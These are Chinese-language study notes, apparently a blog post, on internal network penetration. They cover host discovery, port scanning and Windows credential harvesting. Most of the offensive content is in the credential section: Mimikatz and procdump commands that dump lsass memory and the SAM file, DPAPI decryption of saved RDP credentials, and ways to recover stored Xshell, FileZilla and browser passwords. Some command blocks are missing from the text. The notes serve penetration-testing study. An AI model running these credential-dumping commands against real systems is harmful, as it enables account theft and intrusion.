内网渗透系列主要是学习《内网渗透体系建设》的笔记,作为整理和记录。
本机基础信息收集
1 | 查看当前用户、权限 |
域内信息收集
1 | 判断是否存在域 |
域内资源探测
发现存活主机
基于ICMP主机探测
使用循环ping命令进行探测
1 | for /L %I in (1,1,254) Do @ping -w 1 -n 1 192.168.30.%I |findstr "TTL=" |
基于NetBIOS(网络基本输入/输出系统)协议主机探测
NBTScan是一款用于扫描Windows网络上NetBIOS名称的程序,用于发现内网中存活的Windows主机。
1 | nbtscan 192.168.30.1/24 |
基于UDP主机探测
1 | unicornscan -mU 192.168.30.1/24 |
基于ARP主机探测
1 | arp-scan -t 192.168.30.1/24 |
基于smb主机探测
SMB又称为网络文件共享系统(Common Internet File System,CIFS)协议,是一种应用层传输协议,主要功能是使网络上的机器能够共享计算机文件、打印机、串行端口和通信等资源。CIFS消息一般使用NetBIOS或TCP发送,分别使用139和445端口,目前倾向于使用445端口。
1 | 使用msf进行扫描 |
端口扫描
利用telnet探测端口
1 | telnet <ip> <port> |
使用nmap进行端口扫描
1 | nmap -p 80,88,135,443,8080,3389 192.168.30.10 |
使用msf进行端口扫描
msf具有很多扫描的payload
1 | 主机存活扫描 |
获取banner信息
使用netcat获取端口的banner
1 | nc -nv 192.168.30.10 445 |
使用nmap获取banner
1 | nmap --script=banner -p <Ports> <IP> |
用户凭证收集
获取域内单机密码和哈希值
在Windows中,SAM文件是Windows用户的账户数据库,位于%SystemRoot\System32\Config
目录中,所有本地用户的用户名、密码哈希值等信息都存储在这个文件中。用户输入密码登录时,用户输入的明文密码被转换成哈希值,然后与SAM文件中的哈希值进行对比,若相同,则认证成功。
lsass.exe是Windows的一个系统进程,用于实现系统的安全机制,主要用于本地安全啊和登录策略。在通常情况下,用户输入密码登录后,登陆的域名、用户名和登录凭证等信息会存储在lsass.exe的进程空间中,用户的明文密码经过WDigets和Tspkg模块调用后,会对其使用可逆的算法加密并存储在内存中。
用来获取主机的用户名和哈希值的工具有很多,这些工具大多是通过读取SAM文件或者访问lsass.exe进程的内存数据等操作实现的。这些操作大多需要管理员的权限,这意味需要配合提权的操作。
Mimikatz是一款功能强大的凭据转储开源程序,可以帮助进行提升进程权限、注入进程、读取进程内存等。
在线读取lsass进程内存
1 | mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords full" exit |
离线读取lsass内存文件
除了在线读取,也可以直接将lsass.exe的进程内存转储,讲内存文件导出到本地后,使用mimikatz进行离线读取。
使用Procdump把lsass的进程内存dump出来:
1 | procdump -accepteula -ma lsass.exe lsass.dmp |
离线读取
1 | mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonpasswords full" exit |
为了防止用户的明文密码泄露,微软在2014年发布了KB2871997补丁,关闭了WDigest功能,禁止从内存中获取明文密码,且Windows server 2012及以上版本默认关闭WDigest功能。但是测试人员通过修改注册表,可以重新开启WDigest功能,当用户注销或者重新登录后,可以重新获取到用户的明文密码
1 | 开启WDigest |
在线读取本地SAM文件
1 | mimikatz.exe "privilege::debug" "token::elevate" "lsadump::sam" exit |
离线读取本地SAM文件
为了提高SAM文件的安全性,Windows会对SAM文件使用密钥加密,这个密钥会存储在SYSTEM文件中,与SAM文件位于相同目录下。因此,需要在目标主机上先导出这两个文件。
1 | mimikatz.exe "lsadump::sam /sam:sam.hive /system:system.hive" exit |
获取常见应用软件凭据
RDP
为了避免每次连接服务器都进行身份认证,经常使用RDP的用户可能勾选保存连接凭据,以便进行快速的身份验证。这些凭据都使用数据保护API以加密形式存储在Windows的凭据管理器中,路径为%USERPROFILE%\AppData\Local\Microsoft\Credentials
1 | cmdkey /list # 查看当前保存的凭据 |
Credentials目录下保存的凭据是加密的,可以尝试使用Mimikatz导出和解密。
1、首先解析连接凭据
1 | mimikatz.exe "privilege::debug" "dpapi::cred /in:%USERPROFILE%\AppData\Local\Microsoft\Credentials\00119663E99E6E4709F1F83BEB49A78D" exit |
解析得到的pbData就是凭据的加密数据,
guidMasterKey
是该凭据的GUID。
2、找到与guidMasterKey(GUID)
相关联的MasterKey
,这个Masterkey
就是加密凭据所使用的密钥
1 | mimikatz.exe "privilege::debug" "sekurlsa::dpapi" exit |
3、使用MasterKey
值破解指定凭据文件,获得明文RDP凭据
1 | mimikatz.exe "dpapi::cre /in:%USERPROFILE%\AppData\Local\Microsoft\Credentials\00119663E99E6E4709F1F83BEB49A78D/masterkey:xxxxxxxxxxxxxxxxxxxx" exit |
Xshell
Xshell会将服务器连接信息保存在Session目录下的.xsh文件中,如果用户在连接时勾选了“记住用户名/密码”,该文件会保存服务器连接时的用户名和加密后的密码
1 | Xshell 5 |
Xshell7之前版本,可以直接通过SharpDecryptPwd工具进行解密,包括Navicat、TeamViewer、FileZilla、Winscp和Xmangager系列产品。
Xshell7之后的版本可以使用星号查看器直接查看密码
FileXilla
FileXilla将所有FTP登陆凭证以base64编码后的格式存储在%USERPROFILE%\AppData\Roaming\FileZilla\recentservers.xml
中,这是一个xml文件,其中的<User>
节点是用户名,<Pass>
节点是base64后的密码
浏览器保存的登录凭证
使用HackBrowserData
可以直接从浏览器解密数据,包括用户登录密码、书签、Cookie、历史记录、银行卡、下载链接等。